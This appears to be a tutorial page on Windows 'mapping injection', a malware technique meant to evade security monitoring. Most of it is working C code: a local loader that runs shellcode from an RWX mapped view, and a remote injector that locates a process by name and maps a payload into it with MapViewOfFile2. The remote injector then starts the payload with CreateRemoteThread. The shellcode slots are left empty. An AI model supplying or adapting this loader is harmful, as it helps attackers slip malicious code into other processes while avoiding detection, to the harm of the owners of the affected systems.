Mapping Injection

The process of allocating private memory is highly monitored by security solutions due to its widespread usage by malware. To avoid these commonly monitored WinAPIs such as VirtualAlloc/Ex and VirtualProtect/Ex, mapping injection uses Mapped memory type using different WinAPIs such as CreateFileMapping and MapViewOfFile.

Local Mapping Injection

Two WinAPI functions, CreateFileMapping and MapViewOfFile, are used for memory mapping techniques in Windows.

CreateFileMapping creates a mapping object for accessing file contents through memory. It can map either a file on disk or another memory location. Parameters include a handle to a file (or INVALID_HANDLE_VALUE), page protection settings, and the size of the mapping.

MapViewOfFile maps a view of a file mapping object into a process's address space. It requires a handle to the mapping object, access rights, and the size of the mapping.

LocalMapInject is a function that performs local mapping injection, taking a payload address, payload size, and a pointer to receive the mapped memory's base address. It allocates memory, copies the payload, and returns the base address of the mapped memory.

UnmapViewOfFile is a WinAPI that is used to unmap previously mapped memory, this function should only be called after the payload has finished executing and not while it's still running. UnmapViewOfFile only requires the base address of the mapped view of a file to be unmapped.

#include <Windows.h>
#include <stdio.h>


unsigned char Payload[] = {
	//shellcode
};

// allocate a local `Mapped` executable buffer and copy the payload to it
// return the base address of the payload 
BOOL LocalMapInject(IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {

	BOOL		bSTATE			= TRUE;
	HANDLE		hFile			= NULL;
	PVOID		pMapAddress		= NULL;


	// create a file mapping handle with `RWX` memory permissions
	// this doesnt have to allocated `RWX` view of file unless it is specified in the MapViewOfFile call  
	hFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
	if (hFile == NULL) {
		printf("[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
		bSTATE = FALSE; goto _EndOfFunction;
	}

	// maps the view of the payload to the memory 
	// FILE_MAP_WRITE | FILE_MAP_EXECUTE are the permissions of the file (payload) - 
	// since we need to write (copy) then execute the payload
	pMapAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sPayloadSize);
	if (pMapAddress == NULL) {
		printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
		bSTATE = FALSE; goto _EndOfFunction;
	}
	

	printf("[i] pMapAddress : 0x%p \n", pMapAddress);

	printf("[#] Press <Enter> To Copy The Payload ... ");
	getchar();

	printf("[i] Copying Payload To 0x%p ... ", pMapAddress);
	memcpy(pMapAddress, pPayload, sPayloadSize);
	printf("[+] DONE \n");
	
	
_EndOfFunction:
	*ppAddress = pMapAddress;
	if (hFile)
		CloseHandle(hFile);
	return bSTATE;
}


int main() {

	PVOID	pAddress	= NULL;
	HANDLE	hThread		= NULL;

	if (!LocalMapInject(Payload, sizeof(Payload), &pAddress)) {
		return -1;
	}

	printf("[#] Press <Enter> To Run The Payload ... ");
	getchar();

	printf("[i] Creating New Thread ... ");
	hThread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
	if (hThread != NULL) {
		WaitForSingleObject(hThread, INFINITE);
		printf("[+] DONE \n");
	}
	else
		printf("[!] CreateThread Failed With Error : %d \n", GetLastError());


	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

Remote Mapping Injection

Unlike local mapping injection, the locally mapped view of the file doesn't need to be executable since the payload isn't executed locally. Instead, it uses the FILE_MAP_WRITE flag to copy the payload.

Modifications to the payload in the local view are reflected in the remote process's view.

Useful for running encrypted payloads by decrypting them locally before execution in the remote process.

This allocates a locally mapped readable-writable buffer, copies the payload, maps it to a new remote buffer in the target process using MapViewOfFile2, and returns the base address of the mapped memory.

#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>

#pragma comment (lib, "OneCore.lib")	// needed to compile `MapViewOfFile2`

unsigned char Payload[] = {
	// shellcode
};

// allocate a local `Mapped` writable buffer and copy the payload to it
// then it maps that local buffer to an executable remote buffer, so that the remotly allcoated buffer
// includes the payload  
// it return the base address of the payload 
BOOL RemoteMapInject(IN HANDLE hProcess, IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {

	BOOL		bSTATE				= TRUE;
	HANDLE		hFile				= NULL;
	PVOID		pMapLocalAddress	= NULL,
				pMapRemoteAddress	= NULL;


	// create a file mapping handle with `RWX` memory permissions
	// this doesnt have to allocated `RWX` view of file unless it is specified in the MapViewOfFile/2 call  
	hFile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
	if (hFile == NULL) {
		printf("\t[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
		bSTATE = FALSE; goto _EndOfFunction;
	}

	// maps the view of the payload to the memory 
	// FILE_MAP_WRITE are the permissions of the file (payload) - 
	// since we only neet to write (copy) the payload to it
	pMapLocalAddress = MapViewOfFile(hFile, FILE_MAP_WRITE, NULL, NULL, sPayloadSize);
	if (pMapLocalAddress == NULL) {
		printf("\t[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
		bSTATE = FALSE; goto _EndOfFunction;
	}


	printf("\t[+] Local Mapping Address : 0x%p \n", pMapLocalAddress);

	printf("\t[#] Press <Enter> To Write The Payload ... ");
	getchar();
	printf("\t[i] Copying Payload To 0x%p ... ", pMapLocalAddress);
	memcpy(pMapLocalAddress, pPayload, sPayloadSize);
	printf("[+] DONE \n");

	// maps the payload to a new remote buffer (in the target process)
	// it is possible here to change the memory permissions to `RWX`
	pMapRemoteAddress = MapViewOfFile2(hFile, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);
	if (pMapRemoteAddress == NULL) {
		printf("\t[!] MapViewOfFile2 Failed With Error : %d \n", GetLastError());
		bSTATE = FALSE; goto _EndOfFunction;
	}

	printf("\t[+] Remote Mapping Address : 0x%p \n", pMapRemoteAddress);

_EndOfFunction:
	*ppAddress = pMapRemoteAddress;
	if (hFile)
		CloseHandle(hFile);
	return bSTATE;
}

BOOL GetRemoteProcessHandle(IN LPWSTR szProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess) {

	HANDLE			hSnapShot = NULL;
	PROCESSENTRY32	Proc = {
					.dwSize = sizeof(PROCESSENTRY32)
	};

	// Takes a snapshot of the currently running processes 
	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	if (hSnapShot == INVALID_HANDLE_VALUE) {
		printf("\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	// Retrieves information about the first process encountered in the snapshot.
	if (!Process32First(hSnapShot, &Proc)) {
		printf("\n\t[!] Process32First Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	do {

		WCHAR LowerName[MAX_PATH * 2];

		if (Proc.szExeFile) {

			DWORD	dwSize = lstrlenW(Proc.szExeFile);
			DWORD   i = 0;

			RtlSecureZeroMemory(LowerName, MAX_PATH * 2);

			// converting each charachter in Proc.szExeFile to a lower case character and saving it
			// in LowerName to do the *wcscmp* call later ...

			if (dwSize < MAX_PATH * 2) {

				for (; i < dwSize; i++)
					LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);

				LowerName[i++] = '\0';
			}
		}

		// compare the enumerated process path with what is passed, if equal ..
		if (wcscmp(LowerName, szProcessName) == 0) {
			// we save the process id 
			*dwProcessId = Proc.th32ProcessID;
			// we open a process handle and return
			*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
			if (*hProcess == NULL)
				printf("\n\t[!] OpenProcess Failed With Error : %d \n", GetLastError());

			break;
		}

		// Retrieves information about the next process recorded the snapshot.
	} while (Process32Next(hSnapShot, &Proc));
	// while we can still have a valid output ftom Process32Net, continue looping


_EndOfFunction:
	if (hSnapShot != NULL)
		CloseHandle(hSnapShot);
	if (*dwProcessId == NULL || *hProcess == NULL)
		return FALSE;
	return TRUE;
}

int wmain(int argc, wchar_t* argv[]) {

	HANDLE		hProcess		= NULL,
				hThread			= NULL;
	PVOID		pAddress		= NULL;
	DWORD		dwProcessId		= NULL;


	if (argc < 2) {
		wprintf(L"[!] Usage : \"%s\" <Process Name> \n", argv[0]);
		return -1;
	}

	wprintf(L"[i] Searching For Process Id Of \"%s\" ... ", argv[1]);
	if (!GetRemoteProcessHandle(argv[1], &dwProcessId, &hProcess)) {
		printf("[!] Process is Not Found \n");
		return -1;
	}
	printf("[+] DONE \n");
	printf("[+] Found Target Process Pid: %d \n", dwProcessId);


	printf("[i] Injecting Target Process ... \n");
	if (!RemoteMapInject(hProcess, Payload, sizeof(Payload), &pAddress)) {
		printf("[!] FAILED \n");
		return -1;
	}
	printf("[+] DONE \n");



	printf("[#] Press <Enter> To Run The Payload ... ");
	getchar();

	hThread = CreateRemoteThread(hProcess, NULL, NULL, pAddress, NULL, NULL, NULL);
	if (hThread == NULL)
		printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());


	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

Last updated